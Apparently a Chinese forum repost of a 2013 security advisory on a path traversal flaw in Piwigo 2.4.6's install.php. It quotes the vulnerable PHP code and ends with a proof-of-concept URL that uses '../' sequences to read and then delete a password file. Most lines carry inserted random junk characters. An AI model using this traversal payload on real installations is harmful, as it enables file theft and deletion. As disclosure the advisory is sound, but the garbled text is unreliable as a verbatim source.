Piwigo是用PHP编写的相册脚本。
1 D* M- [& g3 w) C; n: {" c
7 ~* r+ W1 c3 t9 S4 F% uPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
/ S7 q! E4 V; K2 h====================================================================/ _! q- J# b: V. g+ M' u
/install.php:: ?* r) m8 X7 G$ L0 B# B& z/ v
-------------
/ j& P, g, s2 ?; V; ~) H113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))0 U9 k( I; C- I5 J* J* q; H! k
114: {
2 ^8 J& T, C+ u0 B! X115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];* I. L) ^- Z% ], R. U
116: header('Cache-Control: no-cache, must-revalidate');" f e2 _7 X4 p
117: header('Pragma: no-cache');
& R* c, X+ I9 P1 ?" j) ` Z118: header('Content-Disposition: attachment; filename="database.inc.php"');% b) c$ c1 }4 q5 O. b( s: C* u
119: header('Content-Transfer-Encoding: binary');
. ~5 T" {4 p" _ u, b120: header('Content-Length: '.filesize($filename));
* b$ K1 T \) a4 h121: echo file_get_contents($filename);
2 G8 X& L# D9 d6 D; C+ S# n122: unlink($filename);
$ h+ Y" V4 ~6 B3 o% {123: exit();* H- `; _" x. z
124: }- r# F# U- A L
====================================================================
0 n% f; @% w' x( c9 a
- B0 P6 ^' o7 Y9 z5 nTested on: Microsoft Windows 7 Ultimate SP1 (EN)
$ w' u$ @7 m S Apache 2.4.2 (Win32)
* ^% s2 }$ b% q- l. r PHP 5.4.4
: c. D9 p; Q3 _0 y0 F' p MySQL 5.5.25a
3 A0 b2 _. O6 N8 H 8 j+ }: r9 O4 {7 ~
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic( j+ j8 T# n/ w
@zeroscience
& G4 y- O" n8 |0 ? J% }& h# y g" d % A/ W* j) k; D% `( a5 w
Advisory ID: ZSL-2013-51277 H' u% M! X; J
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php h* ^/ r0 ^, w" ^: K
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
# ]; ]7 _% V% x( i % ~! |) j5 L/ T# S2 [ ]. z; r
15.02.2013
6 P) R4 n- b6 w$ t) ] P; l 1 u; Y8 k s$ j$ X n. S
--
( [) M" E7 \# }, ihttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt' J+ N6 z2 }/ H$ u3 V2 S# H4 _
4 h! c9 j4 j0 ~1 [: J
|